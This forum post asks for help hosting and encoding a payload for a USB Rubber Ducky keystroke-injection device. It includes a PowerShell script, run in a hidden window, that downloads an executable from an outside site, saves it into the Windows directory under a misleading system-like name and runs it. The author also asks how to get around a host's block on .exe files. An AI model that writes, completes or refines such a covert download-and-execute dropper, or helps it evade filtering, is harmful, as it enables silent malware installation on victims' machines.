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  1. Finianb1

    Good Free Hosting EXEs

    Hi everyone, I'm trying to make a powershell wget and execute payload for the ducky but 000webhosting, my usual go-to webhost, doesn't allow .exe files. I was wondering if there was another hosting site that is free and does allow exes, or if there is some way I can encode the payload or something similar to get around such a block. I thought you might be able to encode it using base 64 in a text file, but I don't know how I'd make the powershell convert it from plaintext to binary using base64. I was thinking something like this. Any help is appreciated. Here is my script so far: $source = "mysite.com/executables/system32.exe"; $destination = "C:\Windows\system32helper.exe"; Invoke-WebRequest $source -OutFile $destination; start-process system32.exe That gets entered into a hidden powershell window. Thank you for your time.
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